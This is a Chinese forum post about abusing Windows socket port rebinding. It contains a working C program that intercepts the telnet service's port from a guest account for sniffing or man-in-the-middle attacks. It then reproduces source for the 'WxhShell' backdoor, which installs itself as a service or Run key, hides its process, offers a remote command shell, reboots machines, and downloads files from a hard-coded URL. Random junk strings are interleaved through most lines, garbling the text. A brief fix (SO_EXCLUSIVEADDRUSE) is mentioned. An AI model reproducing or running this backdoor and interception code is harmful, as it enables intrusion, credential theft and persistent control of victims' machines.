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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !e0~|8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KG8Km  
J'no{3Kt z  
  saddr.sin_family = AF_INET; ^YwTO/Q|  
WwBs_OMc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'k?*?XxG  
o9#8q_D9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R@Kzdeo  
BT8L'qEj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >V1v.JH  
ae`6hW2  
  这意味着什么?意味着可以进行如下的攻击: ,z+7rl  
X23#y7:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -VVJf5/  
%an&lcoX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N% W298  
Uc<j{U ,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S eTn]  
XAF*jevr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qH1&tW$  
E+xC1U 3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HbXYinG%  
"hi)p9 _cR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HE0@`(mCpa  
98x&2(N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >p;cbp[ht  
jdWA)N}kDG  
  #include dZ"w2ho  
  #include 1 /dy@'  
  #include "ABg,^jf  
  #include    i r/-zp_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (^4V]N&  
  int main() heN?lmC  
  { 3}lT"K  
  WORD wVersionRequested; :kz"W ya.  
  DWORD ret; ;+-M+9"?O  
  WSADATA wsaData; :$J4T;/{  
  BOOL val; _bm8m4Lk  
  SOCKADDR_IN saddr; Oj~4uT&"  
  SOCKADDR_IN scaddr; MhXJ /bup  
  int err; +#a_Y  
  SOCKET s; \Q m1+tg  
  SOCKET sc; c^ifHCt|  
  int caddsize; 9yt)9f  
  HANDLE mt; PBo;lg`  
  DWORD tid;   G&2`c\u{  
  wVersionRequested = MAKEWORD( 2, 2 ); ;H;c Sn5uL  
  err = WSAStartup( wVersionRequested, &wsaData ); o,yP9~8\  
  if ( err != 0 ) { 1o*eu&@  
  printf("error!WSAStartup failed!\n"); :497]c3#5C  
  return -1; pX~X{JTaL)  
  } M~jV"OF=  
  saddr.sin_family = AF_INET; ndCHWhi  
   *[SOz)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WMw^zq?hd@  
Nxd<#p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); { *&Wc Os  
  saddr.sin_port = htons(23); N& 683z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5U!yc7eBI/  
  { O<KOsu1WW  
  printf("error!socket failed!\n"); fCa*#ME  
  return -1; }cPH}[ $zF  
  } "0ZBPp1q  
  val = TRUE; -h?ed'e/zz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6b6rM%B.oD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lUJ~_`D  
  { u{+z?N  
  printf("error!setsockopt failed!\n"); 7I0[Ii  
  return -1; Z>t,B%v  
  } Ga M:/.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @j/|U04_ Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .Fe_Z)i>h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [W#M(`}D  
3{*nG'@Mal  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -m"9v%>Y  
  { 2:4:Q[{A  
  ret=GetLastError(); e!hy,O{Pw  
  printf("error!bind failed!\n"); o$%I{}9x  
  return -1; H0P:t(<Gt  
  } 7)Y0D@wg  
  listen(s,2); T}55ZpS C&  
  while(1) Z;qgB7-M  
  { ^^FqN;  
  caddsize = sizeof(scaddr); I"5VkeIx  
  //接受连接请求 9H6%\#rw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6hX[5?}  
  if(sc!=INVALID_SOCKET) A`nw(f_/  
  { lC AD $Ia~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2QN ~E  
  if(mt==NULL) "1iLfQ  
  { nQ5N\RAZ  
  printf("Thread Creat Failed!\n"); z 7 s&7)a  
  break; J% mtlA  
  } XJI ff$K  
  } dPmtU{E<M  
  CloseHandle(mt); $(=0J*ND"  
  } xb22 :  
  closesocket(s); EK=PY  
  WSACleanup(); 7q;wj~  
  return 0; u>y/<9]q8  
  }   1>IA9]D7  
  DWORD WINAPI ClientThread(LPVOID lpParam) _Q=h3(ZI  
  { w$1B|7tX;2  
  SOCKET ss = (SOCKET)lpParam; 4!k 0  
  SOCKET sc; li7"{+ct  
  unsigned char buf[4096]; &o]ic(74c?  
  SOCKADDR_IN saddr; &s>E~M0+J  
  long num; j+6`nN7L  
  DWORD val; pHKGK7 S-  
  DWORD ret; 8`GN8 F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &RL j^A!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NB=!1;^J  
  saddr.sin_family = AF_INET; +{dJGPoY]p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T_NN.Ol   
  saddr.sin_port = htons(23); | ycN)zuE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H b}(.`  
  { N6thbH@  
  printf("error!socket failed!\n"); z1vSt[s  
  return -1; Y-fDYMm  
  } Y4j%K~ls Y  
  val = 100; Yj'/ p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hvo7T@*'  
  { \>N"{T  
  ret = GetLastError(); L2}p<?f  
  return -1; oH>G3n|U^  
  } L+N;mI8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5`QN<4?%  
  { uJ9 hU`h  
  ret = GetLastError(); 4ynGXJmMlR  
  return -1; ^9`S`Bhp  
  } 9tBE=L=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iQ#dWxw4  
  { FesUE_L2$  
  printf("error!socket connect failed!\n"); <[Y@<  
  closesocket(sc); 4E 32DG*  
  closesocket(ss); u|EHe"V"  
  return -1; kBr?Q  
  } vL ]z3  
  while(1) e4<[|B!O  
  { K^f&+`v6_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]rM HO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7:Be.(a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x$+g/7*  
  num = recv(ss,buf,4096,0); :211T&B%A_  
  if(num>0)  5JggU  
  send(sc,buf,num,0); + )lkHv$R  
  else if(num==0) DNmP>~  
  break; ,/Usyb,`  
  num = recv(sc,buf,4096,0); m!LJK`gA  
  if(num>0) /Ps5Og  
  send(ss,buf,num,0); RQQ\y`h`  
  else if(num==0) D9/PVd&#  
  break; OkfnxknZ|  
  } |:)ARH6l#  
  closesocket(ss); {T'M4y=)i  
  closesocket(sc); ? e<D +  
  return 0 ; rcU*6`IWA  
  } MG(qQ#;j/  
j~C-T%kYa  
Zy&?.d[z  
========================================================== 8L _]_  
GS&iSjw  
下边附上一个代码,,WXhSHELL ipH'}~=ID  
)FSa]1t;x  
========================================================== DC+l3N  
c6~<vV'}  
#include "stdafx.h" 1Q6~O2a  
R!y`p:O C  
#include <stdio.h> ka?EXF:  
#include <string.h> j&w4yY  
#include <windows.h> o|bm=&f  
#include <winsock2.h> kDWMget$  
#include <winsvc.h> 3Xl!Z^W  
#include <urlmon.h> +V;@)-   
.X;D I<K  
#pragma comment (lib, "Ws2_32.lib") Qoom[@$  
#pragma comment (lib, "urlmon.lib") ;+(EmD:Q  
.g8db d  
#define MAX_USER   100 // 最大客户端连接数 k#DMd9  
#define BUF_SOCK   200 // sock buffer mr<camL5  
#define KEY_BUFF   255 // 输入 buffer _,bDv`>Ra  
C<yjGt VD  
#define REBOOT     0   // 重启 G^&P'*  
#define SHUTDOWN   1   // 关机 b 67l\L  
cu )w6!f  
#define DEF_PORT   5000 // 监听端口 #Zj3SfU~`  
%pBc]n@_  
#define REG_LEN     16   // 注册表键长度 eYD-8*  
#define SVC_LEN     80   // NT服务名长度 =)IV^6~b  
2kW*Z7@D  
// 从dll定义API &[qJ=HMm I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G' 0JK+=o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j:P(,M[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R>y/Y<5=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3fd?xhWbN  
A?4s+A@Eg  
// wxhshell配置信息 v18OUPPX  
struct WSCFG { v!6IH  
  int ws_port;         // 监听端口 $q 9dkt  
  char ws_passstr[REG_LEN]; // 口令 $b`~KMO  
  int ws_autoins;       // 安装标记, 1=yes 0=no y1_z(L;I  
  char ws_regname[REG_LEN]; // 注册表键名 v&r\Z @%  
  char ws_svcname[REG_LEN]; // 服务名 ~fY\;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'j 'G4P_G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]CGH )4Pe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [iUy_ C=qp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7QM1E(cMg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ='Fh^]*5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BI:O?!:9)  
?cKe~Q?3  
}; DW >|'w%  
=cWg 39$(I  
// default Wxhshell configuration xV>sc;PEb  
struct WSCFG wscfg={DEF_PORT, {pz7ADK<  
    "xuhuanlingzhe", J?_-Dg(=  
    1, 82KWe=  
    "Wxhshell", /4{IxQk  
    "Wxhshell", vu|-}v?:  
            "WxhShell Service", (,;4f7\  
    "Wrsky Windows CmdShell Service", /j"aOLL|  
    "Please Input Your Password: ", 8[L]w^  
  1, q"Th\? }%  
  "http://www.wrsky.com/wxhshell.exe", 6L,"gF<n  
  "Wxhshell.exe" s7"5NU-  
    }; Y[. f`Ei2  
|oX1J<LM  
// 消息定义模块 o[B"J96b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O~4Q:#^c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @YHt[>*S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DsCbMs=Y  
char *msg_ws_ext="\n\rExit."; tJ9gwx7Pg  
char *msg_ws_end="\n\rQuit."; `9mc+  
char *msg_ws_boot="\n\rReboot..."; 3_N1y  
char *msg_ws_poff="\n\rShutdown..."; k~IRds@G  
char *msg_ws_down="\n\rSave to "; }dpE>  
h )h%y)1  
char *msg_ws_err="\n\rErr!"; 4MPR  
char *msg_ws_ok="\n\rOK!"; k\Z@B!VAq  
Rgb&EnVW  
char ExeFile[MAX_PATH]; 1a_;(T  
int nUser = 0; S0H|:J  
HANDLE handles[MAX_USER]; \e' oAhM  
int OsIsNt; 8/ zv3.+[  
Uc( z|  
SERVICE_STATUS       serviceStatus; X6so)1jJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r:--DKt  
Q9{f'B  
// 函数声明 ZDbzH=[  
int Install(void); rj/1AK  
int Uninstall(void); Z=9gok\  
int DownloadFile(char *sURL, SOCKET wsh); &}!AjA)  
int Boot(int flag); LX{mr{  
void HideProc(void); uxbLoE  
int GetOsVer(void); 9=.7[-6i9  
int Wxhshell(SOCKET wsl); }.r)  
void TalkWithClient(void *cs); 9{CajtN  
int CmdShell(SOCKET sock); Y lhKP;  
int StartFromService(void); bA\(oD+:  
int StartWxhshell(LPSTR lpCmdLine); 5`Y>!| Ab  
46gDoSS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?eDZ-u9)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &EJ/Rl  
k|3hs('y|  
// 数据结构和表定义 cQrXrij;!  
SERVICE_TABLE_ENTRY DispatchTable[] = 349BQ5ND  
{ 9yWSlbPr]  
{wscfg.ws_svcname, NTServiceMain}, C@!bd+'  
{NULL, NULL} m*vz   
}; ?$.x%G+  
Q& S 7_  
// 自我安装 "GX k;Y  
int Install(void) UL]zuW/  
{ }gKY_e3  
  char svExeFile[MAX_PATH]; Xa_:B\ic  
  HKEY key; bJ^Jmb  
  strcpy(svExeFile,ExeFile); cK\'D  
%|B$y;q^3  
// 如果是win9x系统,修改注册表设为自启动 +zZ]Txb(  
if(!OsIsNt) { 5#mHWBGd7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (o4':/es  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t@!A1Vr@  
  RegCloseKey(key); 2Ws'3Jz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IAMtMO^L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H^<?h6T  
  RegCloseKey(key); ~toR)=Yv  
  return 0; <4P.B?-/t  
    } C=(~[Y  
  } 8\rAx P}=  
} wowWq\euY  
else { BFZ\\rN`  
|}Mthj9n  
// 如果是NT以上系统,安装为系统服务 ^+x,211f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]-jaIvM  
if (schSCManager!=0) {Zo*FZcaX  
{ B/dJj#  
  SC_HANDLE schService = CreateService '#lc?Y(pJ2  
  ( pER[^LH_)  
  schSCManager, }c=YiH,o  
  wscfg.ws_svcname, EpK7VW  
  wscfg.ws_svcdisp, ]0=THq\H  
  SERVICE_ALL_ACCESS, sN ZOm$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J|C CTXT  
  SERVICE_AUTO_START, 3{M0iNc1  
  SERVICE_ERROR_NORMAL, 0Ok[`r`  
  svExeFile, 2]V8-  
  NULL, 3:bP>l!  
  NULL, m@"p#pt(_  
  NULL, \qJ cs'D  
  NULL, r=#v@]z B  
  NULL `$ pJ2S  
  ); @ 1FWBH~  
  if (schService!=0) jQ['f\R  
  { [ nLd>2P  
  CloseServiceHandle(schService); oxLO[js  
  CloseServiceHandle(schSCManager); x LGMN)@r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wlpcuz@  
  strcat(svExeFile,wscfg.ws_svcname); 0s6eF+bs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /4$ c-k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Elz{i-  
  RegCloseKey(key); ^ # 3,*(S  
  return 0; M$e$%kPShE  
    } WnhH]WY  
  } Rm Q>.?  
  CloseServiceHandle(schSCManager); 2=$ F*B>9  
} )h1 `?q:5  
} 2{S*$K[M  
.}Hs'co  
return 1; \zzPsnFIg  
} p1s|JI  
Up*6K=Tny  
// 自我卸载 ^_/gM[H.  
int Uninstall(void) YGhHIziI  
{ eBqF@'DQ  
  HKEY key; z8 K#G%,:  
vH@$?b3VP  
if(!OsIsNt) { 5uU{!JuSa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E//*bmww  
  RegDeleteValue(key,wscfg.ws_regname); USH>`3  
  RegCloseKey(key); +1Pu29B0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G$s=P  
  RegDeleteValue(key,wscfg.ws_regname); 0oo_m6ie&  
  RegCloseKey(key); m}+_z^@j9  
  return 0; lM.k *`$  
  } JC9OL.Ob  
} `[~LMV&2U  
} SDO~g~NTp  
else { +'a G{/J  
mV}eMw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t![972.&  
if (schSCManager!=0) ]0g1P-&,U  
{ N@8tf@BT   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w[J.?v&^  
  if (schService!=0)  (Kj>Ao  
  { <Ys7`e6eY  
  if(DeleteService(schService)!=0) { cq9d;~q  
  CloseServiceHandle(schService); *oAnG:J+M  
  CloseServiceHandle(schSCManager); (qDJgf4fgn  
  return 0; p<&dy^mS  
  } N|w;wF!3  
  CloseServiceHandle(schService); i|fkwV,5  
  } >HRLL\u9  
  CloseServiceHandle(schSCManager); d4o_/[  
} fa,;Sw  
} ~TjTd  
c}w[ T  
return 1; [yVcH3GcjI  
} 'h 7n}  
cyWDtq  
// 从指定url下载文件 kS_3 7-;  
int DownloadFile(char *sURL, SOCKET wsh) Co`:D  
{ X iM{YZ`B  
  HRESULT hr; :U-yO 9!j  
char seps[]= "/"; uN6xOq/  
char *token; uR82},r$m  
char *file; BA_l*h%=Cc  
char myURL[MAX_PATH]; }te dh  
char myFILE[MAX_PATH]; 7G_OFD  
8TO5j  
strcpy(myURL,sURL);  3,Bm"'b6  
  token=strtok(myURL,seps); b2YOnV  
  while(token!=NULL) P> ~Lx  
  { =%wBC;  
    file=token; cX5tx]  
  token=strtok(NULL,seps); E /V`NqC  
  }  #uuNH(  
7/BA!V(na  
GetCurrentDirectory(MAX_PATH,myFILE);  DIh[%  
strcat(myFILE, "\\"); -3C$br  
strcat(myFILE, file); F-Ywl)  
  send(wsh,myFILE,strlen(myFILE),0); CxVrnb[`q  
send(wsh,"...",3,0); T7Yg^ -"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E5$uvxCI  
  if(hr==S_OK) ;MjOs&1f0K  
return 0; <@=w4\5j9  
else x2+M0 }g  
return 1; -ha[xM05  
;^P0+d^5C  
} ~T&X#i  
dZ\T@9+j+  
// 系统电源模块 LY!.u?D`P  
int Boot(int flag) e{d$OzT) V  
{ ;\t(c  
  HANDLE hToken; ni3A+Y0  
  TOKEN_PRIVILEGES tkp; dNz!2mbO  
|R(rb-v  
  if(OsIsNt) { r'u[>uY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8C2!Wwz`J8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VB{G% !}  
    tkp.PrivilegeCount = 1;  Fr9_!f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =eG:Scoug?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); el,n5O Z7  
if(flag==REBOOT) { 6}PoBhgSg-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )> a^%V9  
  return 0; 8wA'a'V.  
} sg,9{R ^  
else { 3<HPZWc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r;8$ 7C.  
  return 0; ~ph>?xuw  
} |C;*GeyS;J  
  } V$ac}A,!  
  else { |HK/*B  
if(flag==REBOOT) { ; ,:w % .  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LzkwgcR  
  return 0;  [T#9#3  
} M hg_z.Z  
else { L@6T~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vm"dE4W=  
  return 0; :@+@vM;gh  
} 7(KVA1P66  
} "_e /O&-cH  
q=cH ^`<.  
return 1; ,?s: s&4  
} >"+bL6#  
<US!XMrCg  
// win9x进程隐藏模块 XJi^gT N  
void HideProc(void) @0q*50  
{ Toc="F`SW  
W>`#`u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6o ]X.plr  
  if ( hKernel != NULL ) k%lz%r  
  { }4"T# [n#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F#Xzh Ds  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);   |HB  
    FreeLibrary(hKernel); 8Wyv!tL  
  } yS(tF`H[  
00@y,V_]  
return; Tta+qjr  
} L<TL6  
_M7NL^B&  
// 获取操作系统版本 wmG[*a_H  
int GetOsVer(void) 4f> s2I&pQ  
{ BA|*V[HBE  
  OSVERSIONINFO winfo; "+J[7p}`@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I%31MU9  
  GetVersionEx(&winfo); pwO U6A!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j#E&u*IR  
  return 1; dz Z75  
  else %1VfTr5  
  return 0; W02swhS  
} 4PAuEM/z  
<',bqsg[  
// 客户端句柄模块 Lj03Mx.2S  
int Wxhshell(SOCKET wsl) tXnD>H YV  
{  6,;7iA]  
  SOCKET wsh; FrryZe=  
  struct sockaddr_in client; h ?%]uFJC  
  DWORD myID; xiG_l-2l  
DG"Z:^`*  
  while(nUser<MAX_USER) }Ii5[nRN  
{ 3F6=/  
  int nSize=sizeof(client); C!}9[X!7@:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u|]`gsFZ\  
  if(wsh==INVALID_SOCKET) return 1; 'w5g s}1D  
}H<87zH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :IlJQ{=W  
if(handles[nUser]==0) " tUF,G(<  
  closesocket(wsh); IF$*6 ,v.z  
else &%4*~;o  
  nUser++; *(sFr E  
  } w*"h#^1z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E<XrXxS1O  
g}=opw6z  
  return 0; <rpXhcR  
} \z PcnDB  
)~l`%+  
// 关闭 socket @-QDp`QtI  
void CloseIt(SOCKET wsh) ,a /<t"  
{ Cn>RUGoUsI  
closesocket(wsh); D#G(&<Q  
nUser--; Lcpz(W ^  
ExitThread(0); Y^@Nvt$<K  
} 1WW`%  
R s)Nz< d  
// 客户端请求句柄 dLn Md0  
void TalkWithClient(void *cs) 9!sR}  
{ Ki:.^  
V,CVMbn/%N  
  SOCKET wsh=(SOCKET)cs; IDpW5Dc  
  char pwd[SVC_LEN]; _Q1[t9P"  
  char cmd[KEY_BUFF]; MKN],l N  
char chr[1]; 60 z =bd]  
int i,j;  <c &6M  
/ !*+9+h  
  while (nUser < MAX_USER) { ir ^XZVR  
wNgS0{}&`  
if(wscfg.ws_passstr) { *N #{~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k)l^ ;x-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oH|<(8efD  
  //ZeroMemory(pwd,KEY_BUFF); .;xt{kK  
      i=0; AH#eoKu  
  while(i<SVC_LEN) { =whYo?cE(  
cc^[ u+  
  // 设置超时 y=)xo7 (  
  fd_set FdRead; NJ{M-K%>  
  struct timeval TimeOut; b];p/V# <  
  FD_ZERO(&FdRead); 4D-4BxN*  
  FD_SET(wsh,&FdRead); }}'0r2S  
  TimeOut.tv_sec=8; V]$Tbxg  
  TimeOut.tv_usec=0; (NBq!;_2,x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  )6 _+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r g$2)z1  
+/E yX =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F};G&  
  pwd=chr[0]; =,-&h V  
  if(chr[0]==0xd || chr[0]==0xa) { ]wQ#8}zO  
  pwd=0; BL^8gtdn  
  break; Z `)}1|~B  
  } |Vs?yW  
  i++; <8Zm}-U  
    } i!JVGs  
CF:s@Z+  
  // 如果是非法用户,关闭 socket |#. J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j%qBNoT~  
} # ,KjJ  
71# ipZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cd"iaiTD0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cj!Ew}o40D  
Do&/+Ssnu  
while(1) { PnKgUJoa0  
wA#w] 8SM  
  ZeroMemory(cmd,KEY_BUFF); 6HW8mXQh<h  
4/Yk;X[jk  
      // 自动支持客户端 telnet标准   5fdB<& 9  
  j=0; XOe8(cXa9  
  while(j<KEY_BUFF) { C;6Nu W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yLI)bn!"  
  cmd[j]=chr[0]; I,@f*o  
  if(chr[0]==0xa || chr[0]==0xd) { :6*FnKD  
  cmd[j]=0; *)jhhw=34  
  break; /b)V=mcR  
  } c9eLNVM  
  j++; kq SpZoV0'  
    } Nn_n@K  
4{s3S2f =  
  // 下载文件 D# "ppa}  
  if(strstr(cmd,"http://")) { -Pr1 r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MyyNYZ  
  if(DownloadFile(cmd,wsh)) .cV<(J 5o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJ8+HV  
  else mQ@A3/=`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uP-I7l0i1  
  } v{Rj,Ou  
  else { o"Dk`L2  
!4(X9}a  
    switch(cmd[0]) { 4[ 7) $  
  K6=i\   
  // 帮助 {v,O  
  case '?': { 5)rMoYn25  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s5DEuu>g  
    break; V4PV@{G  
  } P)2.Gx/  
  // 安装 NRM=0-16u$  
  case 'i': { 9"=1 O  
    if(Install()) a&Stdh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KL8G2"Z  
    else 2k}" 52  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P@m_tA%  
    break; )e$}sw{t  
    } |(Bc0sgw}  
  // 卸载 JYt)4mOo  
  case 'r': { z)RJUmY3B  
    if(Uninstall()) JFyw,p&xB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ti_?gfx  
    else }W:Rg}v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H+oQ L(i|_  
    break; t4RI%m\  
    } xb2xl.2x!  
  // 显示 wxhshell 所在路径 KkIxtFM  
  case 'p': { g/o@,_  
    char svExeFile[MAX_PATH]; `FjU2 O  
    strcpy(svExeFile,"\n\r"); J 8z|ua  
      strcat(svExeFile,ExeFile); < ] ~FX 25  
        send(wsh,svExeFile,strlen(svExeFile),0); [f^:V:) {  
    break; g9A8b(>F&@  
    } 6`tc]a"#Zb  
  // 重启 @2Lp I*]C  
  case 'b': { s\)0f_I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zPonG d1  
    if(Boot(REBOOT)) LRJY63A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "G^Z>Z-`  
    else { E^)>9f7  
    closesocket(wsh); JH4hy9i  
    ExitThread(0); {<~oa+"  
    } $S_xrrE#  
    break; M x/G^yO9  
    } :7,j%ELic  
